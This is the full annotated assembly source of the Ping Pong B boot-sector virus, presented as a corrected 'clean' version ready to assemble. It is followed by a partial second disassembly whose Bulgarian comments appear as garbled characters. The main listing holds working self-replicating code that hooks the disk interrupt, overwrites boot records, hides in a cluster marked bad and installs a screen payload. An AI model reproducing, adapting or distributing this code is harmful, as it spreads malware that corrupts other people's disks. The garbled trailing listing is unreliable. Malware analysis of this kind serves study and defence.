DISCLAIMER: The author will NOT be held responsible for any damages
caused by careless use of the information presented here.
NOTE: This is the "clean" copy of the Ping Pong B virus. It "corrects"
the coding quirks listed below.
THEORY OF OPERATION:
1) A disk with the virus is booted.
2) The BIOS memory count is decreased by 2k, to prevent DOS from
overwriting the virus, and relocates itself to the reserved space.
3) Part II of the virus is read into RAM just after part I.
4) The original boot sector is read to 0000:7C00.
5) Virus gets and saves the address of INT 13h, the BIOS disk service
interrupt routine, then hooks its own routine in place.
6) The virus jumps to 0000:7C00, load DOS if possible.
INFECTION PROCESS:
1) A BIOS read request is preformed on the target disk.
2) If the drive is different from the last drive that was read from, then
attempt infection immediately. Otherwise, check the BIOS clock tick
count to see if it's time to activate the bouncing ball routine.
3) Read very first sector of the disk. If it's a hard disk, then search
for a DOS-12 or DOS-16 partition, and if found, read the first sector
of THAT partition. We now have the "normal" boot record of the target
disk in the sector buffer.
4) Copy the BPB from the boot record to the virus code space.
5) Check virus' signature in the boot record to see if infected before.
Check disk structure; virus needs 512 byte sectors, and at least 2 sectors
per cluster to infect the disk.
6) Calculate number of system use sectors, data sectors, and maximum cluster
number.
7) Starting with the first sector of the FAT, search for a free cluster.
If none found, then don't infect the disk.
8) The first free cluster is flagged as bad, and the FAT is updated. Note
that only the first copy of the FAT will be modified.
9) The original boot sector is re-read and written to the second sector of
the virus' cluster. Part II of the virus is written to the first sector.
Part I is written to sector 0, replacing the original boot record.
INFECTION RESTRICTIONS:
0) The virus cannot infect a write-protected disk (obvious, isn't it?)
1) The virus will not infect a non-DOS bootable hard disk.
2) The virus will only infect a disk with 512 byte sectors, and at least two
sectors per cluster. This rules out 1.44M and 1.2M disks, among others.
3) The virus will not infect a disk with no free space (from DOS's view).
CODING QUIRKS: (All have been corrected!!)
1) The virus uses a "MOV CS,AX" instruction to continue execution after
relocating itself to higher memory (see MEMORY MAP, below). This should
not work on a 286 or 386 system (the author has not tried it!).
2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit
register). It could be replaced by "XOR rr,0" to save a byte.
3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first
computing the ones complement, then adding one to get the twos
complement.) This could be replaced by "NEG rr" to save three bytes.
4) The use of OFS_ADJ (see below for computation) is needed to let me use
an ORG of 0 when assembling the file. I could've used ORG 07C00h, but
that would create a file about 32k in size on assembling. Instead, I
chose to add this offset manually to force correct address generation.
MEMORY MAP: (Adjusted for "clean" version!!)
The virus will relocate itself 2k below the top of memory. The virus
itself is 1024 bytes, and uses a 512 byte buffer when infecting other
disks. In all, the virus uses 1.5k of memory that is 512 bytes below
the BIOS top of memory count. For a 640k machine the map becomes:
640.0k (9F80:0800, which is A000:0000) ==> Top of memory
639.5k (9F80:0600 to 9F80:07FF) ==> Unused
639.0k (9F80:0400 to 9F80:05FF) ==> Buffer used by virus
638.5k (9F80:0200 to 9F80:03FF) ==> 2nd part of virus code
638.0k (9F80:0000 to 9F80:01FF) ==> Main part of Ping Pong virus
# End of comment
LOCALS
PROGRAM_ASSEMBLY_OFS EQU 0000H
BOOT_SECTOR_LOAD_OFS EQU 7C00H
LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space
ORG 0H ;Interrupt vector space
DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching
ORG 0020H
INT8_OFS DW ? ;INT 8h vector offset & segment
INT8_SEG DW ?
ORG 004CH
INT13_OFS DW ? ;INT 13h vector offset & segment
INT13_SEG DW ?
ORG 0413H ;BIOS data area
KB_MEM DW ? ;K bytes of RAM in machine
ORG 7C00H ;Jump here to load O/S
BOOT_SECTOR_EXEC LABEL FAR
LOW_MEM_DATA ENDS
VIRUS SEGMENT
ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING
ORG 0H
START_HERE:
JMP SHORT CODE_START ;Force a two byte relative JuMp
NOP_INST:
NOP
OEM_ID DB 'PingPong' ;Must be eight characters long!
BYTES_PER_SEC DW 512
SEC_PER_CLU DB 2
RES_SECTORS DW 1
FAT_COPIES DB 2
DIR_ENTRIES DW 112 ;This is a standard
TOTAL_SECTORS DW 720 ; BIOS Parameter Block!
MEDIA_DESCRIP DB 0FDH
SEC_PER_FAT DW 2
SEC_PER_TRK DW 9
SIDES_ON_DISK DW 2
HIDDEN_SECTORS DW 0
ORG 001EH ;Must ORGinate at offset 1Eh
CODE_START:
XOR AX,AX
MOV SS,AX ;Set up stack pointer
MOV SP,BOOT_SECTOR_LOAD_OFS
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,KB_MEM ;Get BIOS's count of available memory
SUB AX,2 ;Reserve 2k for virus's use
MOV KB_MEM,AX ;Save updated memory Kbyte count
;Shifting the memory Kbyte count left by 6 bits will yield the equivalent
;paragraph count. The result is the target segment value for relocation.
;For a 640k machine (numbers in parenthesis are decimal equivalents)
; Original BIOS memory count: 280h ( 640) Kbytes
; After virus subtracts 2k : 27Eh ( 638) Kbytes
; Shifting left by 6 bits : 9F80h (40832) segment value
MOV CL,06
SHL AX,CL ;This is same as multiplying by 64
MOV ES,AX ;Use result as segment value
MOV SI,BOOT_SECTOR_LOAD_OFS
XOR DI,DI ;Set up index regisetrs for move
MOV CX,256
REP MOVSW ;Copy 256 words (ie 512 bytes)
MOV Word Ptr CS:CONT_ADDR+7C02H,AX ;Patch JUmP instruction.
JMP CS:CONT_ADDR ;JUMP far into higher memory
CONT_ADDR LABEL DWORD
DW VIRUS_CONT
DW ?
VIRUS_CONT LABEL FAR ;Continuation address after move
PUSH CS
POP DS ;Set up DS register
ASSUME ES:VIRUS,DS:VIRUS
CALL @@LOAD_PART_2 ;try two times to load part 2
@@LOAD_PART_2:
XOR AH,AH
INT 13H ;Reset disk subsystem
AND Byte Ptr DRIVE,080H ;Force drive number to either A: or C:
MOV BX,PART2_SECTOR
;The sector read/write routine always uses a fixed offset of 0400h; so to get
;the data into the right place, the segment registers are adjusted instead.
;We want to load part 2 of the virus just after part 1, so the offset normally
;would be 0200h (ie, 0000h+0200h). However, since the offset MUST be 0400h,
;we will change ES to be 0200h BYTES lower then it normally would be.
;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES
;only subtract 0020h.
;This gives us a effective offset calculation of 0400h - (20h * 10h) = 0200h
PUSH CS
POP AX ;See note above!!
SUB AX,20H
MOV ES,AX ;Move result into ES for read routine
CALL READ_SECTOR
MOV BX,PART2_SECTOR ;Sector after part 2 of the virus is
INC BX ; the original boot record of the disk
MOV AX,0780H ;Address calculation for sector read:
MOV ES,AX ; 0400h + (0780h * 10h) = 07C00h
CALL READ_SECTOR ;Seperate segment and offset, and
XOR AX,AX ; you get 0000:7C00.
MOV FLAGS,AL ;Clear all flags.
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,INT13_OFS
MOV BX,INT13_SEG
MOV Word Ptr INT13_OFS,OFFSET NEW_INT13
MOV INT13_SEG,CS
PUSH CS
POP DS
ASSUME DS:VIRUS
MOV INT13_PATCH+1,AX ;Save original INT 13h vector
MOV INT13_PATCH+3,BX ; directly into instruction stream.
MOV DL,DRIVE
JMP BOOT_SECTOR_EXEC ;Load the O/S as normal
;***************************************
WRITE_SECTOR:
MOV AX,0301H
JMP SHORT VIRUS_DISK_SERV
READ_SECTOR:
MOV AX,0201H
VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX
XCHG AX,BX ;Swap command code and sector number
;Now calculate the physical location of the sector number. DOS sectors are
;sequential, while the BIOS uses track, head, and sector numbers.
;Method:
; Starting with: AX=DOS sector #
; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1)
; Move sector number (in DL) to CH for later processing
; Dividing by sides on disk: AX=Track number DL=Head (Side) number
; Since the track # may be more than 255, we will combine the lower
; two bits in AH with the sector number in CH. First shift it left
; by 6 bits, to get it in the form tt000000, then OR it with CH.
; AX now has the following format (high to low bit seq.): TTssssss tttttttt
; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#,
; and "s" is bits of sector number. )
; Now copy AX into CX, and reverse the two halves of CX. Now the track
; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss)
; The side number is still in DL, so copy it into DH for the BIOS.
ADD AX,HIDDEN_SECTORS ;Add number of hidden sectors
XOR DX,DX ; (Clear high word for 32 bit division)
DIV SEC_PER_TRK ;Divide by sectors/track to get
INC DL ; sector number in DX.
MOV CH,DL
XOR DX,DX
DIV SIDES_ON_DISK ;Divide what's left in AX by
MOV CL,06 ; # of sides to get a track number
SHL AH,CL ; in AX and the head number in DX.
OR AH,CH ;Do some bit shuffling to get the
MOV CX,AX ; pieces in order...
XCHG CH,CL
MOV DH,DL ; and we're done! (whew!)
MOV AX,BX ;Move command code back into AX
DISK_SERVICE:
MOV DL,DRIVE
MOV BX,0400H ;Offset is fixed. (See notes above)
INT 13H
JNC @@NO_ERR ;If successful, then return to caller normally
POP AX ;Otherwise, remove caller's return address
@@NO_ERR: ; and return one lever higher than should.
RET
NEW_INT13 LABEL FAR ;New INT 13h handler
PUSH DS
PUSH ES
PUSH AX
PUSH BX ;Save registers on stack
PUSH CX
PUSH DX
PUSH CS ;Establish our data segment registers
POP DS
PUSH CS
POP ES
ASSUME DS:VIRUS,ES:VIRUS
TEST Byte Ptr FLAGS,00000001B ;Was this INT invoked before?
JNZ @@END ;If so, ignore this call
CMP AH,02 ;Intercept read requests only
JNE @@END
CMP DRIVE,DL ;Check drive number...
MOV DRIVE,DL ; (also save it for next time)
JNZ @@INFECT ;...if not the same, infect immediately
XOR AH,AH
INT 1AH ;Get clock tick count
TEST DH,07FH ;Is it the right time to activate
JNZ @@UPDATE_TICKS ; the bouncing ball display?
TEST DL,0F0H
JNZ @@UPDATE_TICKS
PUSH DX ;Preserve clock tick count
CALL INST_BALL ;Install the bouncing ball routine,
POP DX ; if not established already.
@@UPDATE_TICKS:
MOV CX,DX ;Find elapsed time since last call
SUB DX,TICK_COUNT ; to this routine. Also save tick
MOV TICK_COUNT,CX ; count for next time.
SUB DX,36 ;If less than 2 seconds have passed,
JB @@END ; don't infect the disk.
@@INFECT:
OR Byte Ptr FLAGS,00000001B ;Set busy flag for INT 13h
PUSH SI
PUSH DI
CALL INFECT_A_DISK ;Attempt to infect target disk
POP DI
POP SI
AND Byte Ptr FLAGS,11111110B ;Clear busy flag.
@@END:
POP DX
POP CX
POP BX ;Restore caller's registers
POP AX
POP ES
POP DS
INT13_PATCH LABEL WORD
JMP DUMMY_ADDRESS ;Continue with original INT 13h handler
INFECT_A_DISK:
MOV AX,0201H ;Read one sector...
MOV DH,0
MOV CX,0001H ;...the first sector of a disk.
CALL DISK_SERVICE
;At this point, the sector we just read could be a normal boot record,
;or the partition table of a hard disk. If it's a boot record from a floppy,
;then proceed to infect it. Otherwise, we have to find the DOS partition
;of the hard disk and read the boot sector from that partition. We search
;the partition for a DOS-12 or DOS-16 entry, then, using the beginning
;drive/side/track/sector information, we read the first sector of the
;partition. That sector will be the required boot record, which we will
;prodeed to process.
TEST Byte Ptr DRIVE,80H ;Is the disk a Winchester?
JZ @@FLOPPY ;If so, then we got a partition table.
MOV SI,OFFSET PARTITION_TABLE
MOV CX,4
@@LP: ;Check O/S identification byte:
CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition?
JE @@FOUND ; if so, then continue with infection.
CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition.
JE @@FOUND
ADD SI,16 ;Not this one, go to next partition
LOOP @@LP
RET ;No suitable DOS partitions found, so exit.
@@FOUND:
MOV DX,[SI] ;Get drive number and side
MOV CX,[SI+2] ;Get track and sector numbers
MOV AX,0201H ;Read one sector...
CALL DISK_SERVICE
@@FLOPPY: ;A DOS boot record is at CS:0400
MOV SI,OFFSET _NOP_INST ;Copy BPB to virus' code
MOV DI,OFFSET NOP_INST ; space at ES:0000h
MOV CX,001CH
REP MOVSB
CMP Word Ptr _VIRUS_SIG,01357H ;Check virus' signature
JNE @@INFECT ;Infect if not the same
;It is not known what the following code does; it seems to soem sort of
;error recovery procedure, in case the first attempt at infection failed.
CMP Byte Ptr _CONTINUATION,0
JNB @@EXIT
MOV AX,_SYSTEM_SECTORS
MOV SYSTEM_SECTORS,AX
MOV SI,_PART2_SECTOR
JMP CONT_POINT
@@EXIT:
RET ;Exit now; cannot infect this disk
@@INFECT:
CMP Word Ptr _BYTES_PER_SEC,512 ;512 byte sectors only!
JNZ @@EXIT
CMP Byte Ptr _SEC_PER_CLU,2 ;At lease 2 sectors per cluster
JB @@EXIT
;The virus now computes the number of system use sectors and number of data
;sectors. System use sectors include the Boot Record, FAT copies, root
;directory, and any otherwise reserved sectors. What's left is the number
;of data sectors.
MOV CX,_RES_SECTORS ;Get # of reserved sectors
MOV AL,_FAT_COPIES ;Get # of FAT copies
CBW ;Convert to word in AX
MUL Word Ptr _SEC_PER_FAT ;Multiply by sectors/FAT
ADD CX,AX ;Add result to # reserved sec.
MOV AX,32 ;Each dir entry is 32 bytes
MUL Word Ptr _DIR_ENTRIES ;Get size of root dir in bytes
ADD AX,511 ;Round up when dividing...
MOV BX,512 ;Divide by 512 to get # sectors
DIV BX ; the root directory takes.
ADD CX,AX ;Add to # reserved sectors
MOV SYSTEM_SECTORS,CX ;(Overflow & remainder ignored)
;The virus now calculates the number of data sectors and clusters.
;If there are more than 4080 clusters, then assume we're using a 16 bit FAT.
MOV AX,TOTAL_SECTORS ;Get total # of sectors on disk
SUB AX,SYSTEM_SECTORS ;Subtract # of system sectors
MOV BL,SEC_PER_CLU ;Get # of sectors in a cluster
XOR DX,DX ;Clear high order word...
XOR BH,BH ; and byte for division
DIV BX ;Divide, to get # of clusters
INC AX ;Round up by one
MOV DI,AX ;Save for "find free" routine
AND Byte Ptr FLAGS,11111011B ;Clear "16 bit FAT" flag.
CMP AX,0FF0H ;Is # of clusters too high?
JBE @@1
OR Byte Ptr FLAGS,00000100B ;If so, set flag for 16 bit FAT
@@1:
JMP SHORT VIRUS_PART2_CONT ;JUMP to part II
ORG 01F3H
CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection
SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors
FLAGS DB ? ;Bit mapped flags
DRIVE DB ? ;Current drive number
PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus
CONTUATION DB ? ;??? Continuation flag???
ORG 01FCH
VIRUS_SIG DW 01357H ;Virus' signature
BIOS_SIG DW 0AA55H ;Required signature of all boot sectors
;*************** Second sector of virus code starts here! ******************;
ORG 0200H
VIRUS_PART2_CONT:
;Now the search for a free cluster begins.
MOV SI,1 ;Counter of now many FAT sectors searched
MOV BX,RES_SECTORS ;Start with 1st FAT sector
DEC BX ;Sub 1, because we add 1 later
MOV CUR_FAT_SECTOR,BX
MOV Byte Ptr FAT_OFS_ADJ,-2 ;Set "cluster overhead"
;Note: DI has maximum cluster number, and SI has current cluster number.
@@NEXT_SECTOR:
INC Word Ptr CUR_FAT_SECTOR ;Add one to FAT sector #
MOV BX,CUR_FAT_SECTOR
ADD Byte Ptr FAT_OFS_ADJ,2
CALL READ_SECTOR ;Read the FAT sector
JMP SHORT @@CHECK ;Check for end of search
@@FIND_FREE:
;To get an entry for a specific cluster in a FAT table, multiply by 1.5 if
;it's a 12 bit FAT; otherwise multiply by 2. The virus uses the following:
;multiply the cluster number by 3 if it's a 12 bit FAT, otherwise by 4. Then
;divide by 2.
MOV AX,3
TEST Byte Ptr FLAGS,00000100B ;Check for 16 bit FAT
JZ @@0
INC AX ;Use 4 if FAT-16
@@0:
MUL SI ;Multiply by cluster number
SHR AX,1 ;Divide by 2
;The cluster adjustment value is needed to keep offsets within 512 bytes.
;Since each sector is 0200h bytes, we'll subtract 0200h bytes every time
;we calculate another FAT offset for each subsequent FAT sector.
SUB AH,FAT_OFS_ADJ ;Subtract cluster adjustment
MOV BX,AX
CMP BX,01FFH ;Is offset too high?
JNB @@NEXT_SECTOR ;If so, go to next sector
MOV DX,Word Ptr [BX+SECTOR_BUFFER] ;Get entry
;Once we have the cluster entry, we have to adjust it for a FAT-12 if
;necessary. On a FAT-16, we can use the vlaue directly.
;If it is a 12 bit FAT:
; Clear upper nibble if cluster number is even.
; Otherwise, throw out lower nibble and shift down by 4 bits.
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check
JNZ @@2
MOV CL,04 ;Prepare for shift
TEST SI,1 ;Cluster number odd/even check.
JZ @@1
SHR DX,CL ;Shift down by 1 nibble if odd.
@@1:
AND DH,0FH ;Clear highest nibble.
@@2:
;A free cluster has an entry of 0. Using the OR instruction, we check for
;an entry of 0.
OR DX,DX
JZ FREE_FOUND
@@CHECK: ;See if the maximun cluster number has been
INC SI ; reached. If so, then no free cluster has
CMP SI,DI ; been found, so we can't infect the disk
JBE @@FIND_FREE
RET
FREE_FOUND:
;Now that we found a free cluster, we'll set that cluster to "bad" status.
;As before, we test for a 12 bit FAT and adjust the bad cluster flag
;accordingly.
MOV DX,0FFF7H ;Bad cluster flag.
TEST Byte Ptr FLAGS,00000100B ;12 bit FAT check.
JNZ @@0
AND DH,0FH ;Clear upper nibble
MOV CL,04
TEST SI,1 ;Cluster number odd/even check.
JZ @@0
SHL DX,CL ;Shift by 4 bits if odd.
@@0:
OR Word Ptr [BX+SECTOR_BUFFER],DX ;Insert new value.
MOV BX,CUR_FAT_SECTOR ;Get FAT sector #
CALL WRITE_SECTOR ;Write modified FAT to disk
MOV AX,SI ;Get free cluster number to AX
SUB AX,2 ;Subtract cluster number basis
MOV BL,SEC_PER_CLU ;Get # of sectors/cluster
XOR BH,BH
MUL BX ;Multiply to get sector number
ADD AX,SYSTEM_SECTORS ;Add # system use sectors to
MOV SI,AX ; get DOS sector # on disk
XOR BX,BX ;Read the boot record from sector 0
CALL READ_SECTOR
MOV BX,SI ;Write it out to disk, in the second
INC BX ; sector of our "bad" cluster
CALL WRITE_SECTOR
CONT_POINT:
MOV BX,SI ;SI has first sector of free cluster
MOV PART2_SECTOR,SI ;Save it
PUSH CS
POP AX
SUB AX,20H ;Adjust segment value so ES:0400 will
MOV ES,AX ; be the same as CS:0200h
CALL WRITE_SECTOR ;Write part 2 of virus to disk
PUSH CS
POP AX
SUB AX,40H ;Now adjust ES so an offset of 0400h
MOV ES,AX ; will point to CS:0000h
XOR BX,BX ;Write the first part of the virus
CALL WRITE_SECTOR ; into the boot sector
RET ;DISK IS NOW INFECTED!!!!
ORG 02B0H
TICK_COUNT DW ?
FAT_OFS_ADJ DB ?
INST_BALL: ;Install bouncing ball routine
TEST Byte Ptr FLAGS,00000010B ;Installed already?
JNZ @@EXIT
OR Byte Ptr FLAGS,00000010B ;Set "installed" flag
XOR AX,AX
MOV DS,AX
ASSUME DS:LOW_MEM_DATA
MOV AX,INT8_OFS ;Get vector for INT 8h
MOV BX,INT8_SEG
MOV INT8_OFS,OFFSET NEW_INT8 ;Set vector to point at
MOV INT8_SEG,CS ; our routine.
PUSH CS
POP DS
ASSUME DS:VIRUS
MOV INT8_PATCH+1,AX ;Direcly patch original vector
MOV INT8_PATCH+3,BX ; contents into our code.
@@EXIT:
RET
NEW_INT8 LABEL FAR ;New INT 8 handler
PUSH DS
PUSH AX
PUSH BX ;Save affected registers
PUSH CX
PUSH DX
PUSH CS
POP DS
MOV AH,0FH ;Get video mode, page, and # of columns
INT 10H
MOV BL,AL ;Move mode number into BL
;If the video mode and page are the same as last time, then continue bouncing
;the ball. Otherwise, reset the ball position and increment, and start anew.
;Note: The active page number is in BH throughout this routine.
CMP BX,VIDEO_PARAMS ;Is mode and page same as last time?
JE @@SAME_MODE
MOV VIDEO_PARAMS,BX ;Save for futore reference (!!)
DEC AH ;Subtract 1 from number of columns
MOV SCRN_COLS,AH ; onscreen and save it.
MOV AH,1 ;Assume graphics mode.
CMP BL,7 ;Mono text mode?
JNE @@0
DEC AH ;Set flag to 0 if so.
@@0:
CMP BL,4 ;Is mode number below 4? (ie. 0-3)
JNB @@1
DEC AH
@@1:
MOV GRAF_MODE,AH ;Save flag value.
MOV Word Ptr BALL_POS,0101H ;Set XY position to 1,1
MOV Word Ptr BALL_INC,0101H ;Set XY increment to 1,1
MOV AH,03H
INT 10H ;Read cursor position into DX
PUSH DX ; and save it on the stack.
MOV DX,BALL_POS ;Get XY position of ball.
JMP SHORT UPDATE_BALL_POS ;Change increment if needed.
@@SAME_MODE: ;Enter here if mode not changed.
MOV AH,03H
INT 10H ;Get cursor position into DX
PUSH DX ; and save it.
MOV AH,02
MOV DX,BALL_POS
INT 10H ;Move to bouncing ball location.
MOV AX,ORG_CHAR ;Get original screen char & attribute.
CMP Byte Ptr GRAF_MODE,1 ;Check for graphics mode/
JNE @@3
MOV AX,8307H ;If graphics mode, use CHR$(7)
@@3: ;If not, then use original char
MOV BL,AH ;Move color value into BL
MOV CX,1 ;Write one character
MOV AH,09H ; with attributes and all
INT 10H ; into page in BH.
;The update routine will check for the ball's position on a screen border.
;If it's on a border, then negate the increment for that direction.
;(ie, if the ball was moving up, reverse it.) If the increment was not
;changed, then "randomly" change the X or Y increment based on the lower
;three bits of the previous screen character. This will make the ball
;appear to bounce around "randomly" on a screen filled with characters.
UPDATE_BALL_POS: ;Figure new ball position.
MOV CX,BALL_INC ;Get ball position increment.
CMP DH,0 ;Is is on the top row of the screen?
JNZ @@0
NEG CH
@@0:
CMP DH,24 ;Reached bottom edge?
JNZ @@1
NEG CH
@@1:
CMP DL,0 ;Reached left edge?
JNZ @@2
NEG CL
@@2:
CMP DL,SCRN_COLS ;Reached right edge?
JNZ @@3
NEG CL ;Should be familar by now!
@@3:
CMP CX,BALL_INC ;Is the increment the same as before?
JNE CALC_NEW_POS ;If not, apply the modified increment.
MOV AX,ORG_CHAR ;Do "ramdom" updating, as described
AND AL,00000111B ; in the note above.
CMP AL,00000011B
JNE @@4
NEG CH ;Reverse Y direction.
@@4:
CMP AL,00000101B
JNE CALC_NEW_POS
NEG CL ;Reverse X direction.
CALC_NEW_POS:
ADD DL,CL ;Add increments to ball position.
ADD DH,CH
MOV BALL_INC,CX ;Save ball position increment and
MOV BALL_POS,DX ; new ball position.
MOV AH,02H ;Move to ball position, which is
INT 10H ; in register DX.
MOV AH,08H ;Read the present screen char and
INT 10H ; attribute.
MOV ORG_CHAR,AX ;Save them for next time.
MOV BL,AH ;Use same attribute, if in text mode
CMP Byte Ptr GRAF_MODE,1
JNE @@0
MOV BL,83H ;Otherwise, use color # 83H
@@0:
MOV CX,0001H ;Write one character and attribute
MOV AX,0907H ; using CHR$(7) as the character.
INT 10H
POP DX ;Get old cursor position.
MOV AH,02H ;Move cursor back to that position.
INT 10H
POP DX
POP CX
POP BX ;Restore affected registers.
POP AX
POP DS
INT8_PATCH LABEL WORD
JMP DUMMY_ADDRESS ;Continue with original INT 8h handler.
ORG_CHAR DW ? ;Original screen character and attribute.
BALL_POS DW ? ;Bouncing ball's XY position.
BALL_INC DW ? ;Ball's XY increment
GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode.
VIDEO_PARAMS DW ? ;Mode number and page number.
SCRN_COLS DB ? ;Number of screen columns minus 1
VIRUS_LENGTH EQU $-START_HERE
DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes.
;******************** End of virus code! **************************************
ORG 0400H ;Work area for the virus
SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!!
_JMP_INST DW ?
_NOP_INST DB ?
_OEM_ID DB 8 DUP(?)
_BYTES_PER_SEC DW ?
_SEC_PER_CLU DB ?
_RES_SECTORS DW ?
_FAT_COPIES DB ?
_DIR_ENTRIES DW ? ;This is the BPB of the target
_TOTAL_SECTORS DW ? ; disk during infection.
_MEDIA_DESCRIP DB ?
_SEC_PER_FAT DW ?
_SEC_PER_TRK DW ?
_SIDES_ON_DISK DW ?
_HIDDEN_SECTORS DW ?
ORG 05BEH
PARTITION_TABLE LABEL NEAR
ORG 05F3H
_CUR_FAT_SECTOR DW ?
_SYSTEM_SECTORS DW ?
_FLAGS DB ?
_DRIVE DB ?
_PART2_SECTOR DW ?
_CONTINUATION DB ?
ORG 05FCH
_VIRUS_SIG DW ?
_BIOS_SIG DW ? ;Should always be 0AA55h
VIRUS ENDS
END
;Original virus disassembly by James L. July 1991
;Clean version written by James L. July 1991
;# EOF #;

@ -0,0 +1,606 @@
; Advanced Fullscreen Disassembler v2.11
; Copyright (C) by Rumen Gerasimov (GERISOFT), 1987, 1988
;
; First listing: without DATA segment
;
; Segment value: 0000, length: 0200
;
BIOS_SEG SEGMENT at 0h
org 0020h
D0020 dw 0
D0022 dw 0
INTERR8 label far
org 004Ch
D004C dw 0
D004E dw 0
org 0413h
D0413 dw 0
BIOS_SEG ends
BOOT_SEG SEGMENT at 7Ch
org 0
BOOT_PROCESS label far
BOOT_SEG ends
DISK_ROM SEGMENT at 0C800h
org 256h
C800_SEG label far
DISK_ROM ends
SEG0000 segment public para 'CODE'
assume CS:SEG0000, ds:SEG0000
;***********************************************************;
; <20>š<EFBFBD>ˆ …ŠŽ<E28099> - <20>€—€Ž <20>ˆ<E2809A>€ ;
; <20>€Œˆ<C592>€ ‘… <20>€ boot sector <20>€ „ˆ‘Š€ ;
;***********************************************************;
; ’³ª  ¤°¥±º² ¥ 0000:7C00 ¨«¨ 07C0:0000
;
ORG 7C00h
JMP short L7C1E
D7C02 db 90h
db 'IBM 3.1'
DB 0
DB 2
D7C0D DB 2
D7C0E DW 1
DB 2
DB 70h
DB 0
D7C13 DW 2D0h
DB 0FDh
DB 2
DB 0
D7C18 DW 9 ;Sector per track - SecPTrk
D7C1A DW 2 ;Side per track - SidPTrk
D7C1C DW 0
L7C1E: XOR AX,AX
MOV SS,AX
MOV SP,7C00h
MOV DS,AX
assume ds:BIOS_SEG
MOV AX,Word Ptr D0413 ;<3B> ¬ «¿¢  BIOS MEMSIZE ± 2
SUB AX,0002h
MOV Word Ptr D0413,AX
assume ds:SEG0000
MOV CL,06h
SHL AX,CL
SUB AX,07C0h
MOV ES,AX ;ES: ±¥£¬¥­²  ­  § ¥²¨²¥ 2Š ¯ ¬¥²
MOV SI,7C00h
MOV DI,SI
MOV CX,0100h
REPZ MOVSW ;¬¥±²¨ ±¥ ² ¬: ¶¥«¨¿² ±¥ª²®°
db 08Eh,0C8h ;MOV CS,AX ;¯°¥¤ ¢  ³¯° ¢«¥­¨¥²® ­  ­®¢®²® ¬¿±²®
;CS:7C00 -  ¤°¥± ­  ­ · «®²® ­  ª®¤ 
PUSH CS
POP DS
CALL L7C4A
L7C4A: XOR AH,AH ;RESET ­  INT 13
INT 13h
AND Byte Ptr D7DF8,80h ;“±²°®©±²¢®²® ¥ ¯º°¢¨ ¤¨±ª (A: - floppy
; C: - hard
MOV BX,Word Ptr D7DF9 ;—¥²¥ ¯º°¢¨¿² ±¥ª²®°, ªº¤¥²® ¥ ¯°®¤º«-
PUSH CS ;¦¥­¨¥²®
POP AX
SUB AX,0020h
MOV ES,AX ;adres = (CS - 20h):8000h
CALL L7C9D
MOV BX,Word Ptr D7DF9 ;—¥²¥ ¢²®°¨¿² ±¥ª²®° ®² ¯°®¤º«¦¥­¨¥²®
INC BX ; (­®°¬ «­¨¿² BOOT)
MOV AX,0FFC0h ;adres = 0000:7C00
MOV ES,AX
CALL L7C9D
XOR AX,AX
MOV Byte Ptr D7DF7,AL ;—¨±²¨ ±² ²³±-¡ ©²  (§  ¯®±«¥)
MOV DS,AX
assume ds:BIOS_SEG
MOV AX,Word Ptr D004C ;‡ ª ·¢  ±¥ §  INT 13!
MOV BX,Word Ptr D004E
MOV Word Ptr D004C,offset NewINT13
MOV Word Ptr D004E,CS
PUSH CS
POP DS
assume ds:SEG0000
MOV Word Ptr D7D2A,AX ;‡ ¯ §¢  ±² °¨¿²  ¤°¥± ­  INT 13
MOV Word Ptr D7D2C,BX
MOV DL,Byte Ptr D7DF8 ;‚§¥¬  ³±²°®©±²¢®²® §  BOOT ¨ ±² °²¨° 
jmp BOOT_PROCESS ;­®°¬ «­¨¿² BOOT process
;================================================================;
; <20><>Žƒ<C5BD>€Œ€ ‡€ —…<E28099>… (L7C9D) ˆ ‡€<E280A1>ˆ (L7C98) ;
; <20>€ ‹Žƒˆ—…‘Šˆ …ŠŽ<E28099> Ž’ „ˆ‘Š ;
;----------------------------------------------------------------;
; BX - ±¥ª²®° ®²­®±­® ­ · «®²®, ª®©²® ²°¿¡¢  ¤  ±¥ ¯°®·¥²¥ ;
; ES:8000 -  ¤°¥±, ªº¤¥²® ¤  ±¥ ¯°®·¥²¥ ±¥ª²®°º² ;
; ;
; D7DF8 - ³±²°®©±²¢®, ®² ª®¥²® ·¥²¥ ;
; ;
;================================================================;
L7C98: MOV AX,0301h
JMP short L7CA0
L7C9D: MOV AX,0201h
L7CA0: XCHG BX,AX
ADD AX,Word Ptr D7C1C
XOR DX,DX
DIV Word Ptr D7C18 ;¯°¥¢°º¹  «®£¨·¥±ª¨¿² ±¥ª²®° ¢ AX
INC DL ; (0-7..) ¢º¢ Track, Side, Sector
MOV CH,DL ;¢ °¥£¨±²°¨²¥ CX, DX (§  INT 13)
XOR DX,DX
DIV Word Ptr D7C1A
MOV CL,06h
SHL AH,CL
OR AH,CH
MOV CX,AX
XCHG CH,CL
MOV DH,DL
MOV AX,BX
L7CC3: MOV DL,Byte Ptr D7DF8 ;¢§¥¬  ­®¬¥°  ­  ¤¨±ª  §  ·¥²¥­¥ (A:)
MOV BX,8000h
INT 13h
JNC L7CCF
POP AX ;±ª ¯¢  ±²¥ª  ¨ § £¨¢ ,  ª® ¨¬  I/O err
L7CCF: RET
;========================================================================;
; ’€‡ˆ <20><>Žƒ<C5BD>€Œ€ ‘… <>š‡<20>€ ŒŸ‘’Ž’Ž <20>ˆˆ<E28099>ŠˆŸ INT 13 ;
;========================================================================;
